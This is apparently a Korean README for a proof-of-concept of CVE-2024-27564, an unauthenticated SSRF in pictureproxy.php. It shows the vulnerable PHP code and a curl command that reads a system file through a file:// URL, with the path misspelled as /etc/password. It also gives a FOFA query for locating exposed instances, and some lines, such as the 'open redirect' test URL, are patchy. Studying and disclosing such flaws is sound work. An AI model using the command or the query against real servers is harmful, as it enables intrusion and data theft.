
CVE-2024-27564에 대한 개념 증명 익스플로잇입니다. pictureproxy.php에서 검증되지 않은 URL 매개변수를 통해 SSRF를 보여줍니다. curl 기반 테스트 및 취약한 인스턴스에 대한 FOFA 검색을 포함합니다.
이 프로젝트는 pictureproxy.php 파일에서 발생하는 서버사이드 요청 위조(SSRF) 취약점을 시연합니다.
pictureproxy.php의 취약점으로 인해 원격 공격자가 url 매개변수에 URL을 주입하여 임의의 요청을 수행할 수 있습니다. 이 SSRF 취약점은 인증 없이도 악용될 수 있어 특히 위험합니다.
취약한 코드는 pictureproxy.php 파일에 있습니다. 문제는 함수가 url 매개변수를 적절히 검증하지 않기 때문에 발생합니다. $_GET['url'] 변수가 file_get_contents() 함수에 전달되어 지정된 URL에서 콘텐츠를 가져옵니다. 이로 인해 SSRF가 발생할 수 있습니다.
다음은 취약점이 어떻게 악용될 수 있는지 보여주는 간단한 개념 증명입니다:
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
취약점을 테스트하려면 다음 curl 명령을 사용할 수 있습니다:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
오픈 리다이렉트 취약점을 이용한 테스트:
https://64.media.tumblr.com/f07b73b374dc2ff6d5e4dbf39d2a6467/tumblr_nvani31DCm1u5url1o1_1280.jpg
Banner
"title="ChatGPT个人专用版""
이 프로젝트는 SSRF 취약점을 방지하기 위해 사용자 입력을 적절히 검증하는 것의 중요성을 강조합니다. URL과 같은 매개변수가 처리되기 전에 철저히 확인되도록 항상 주의하세요.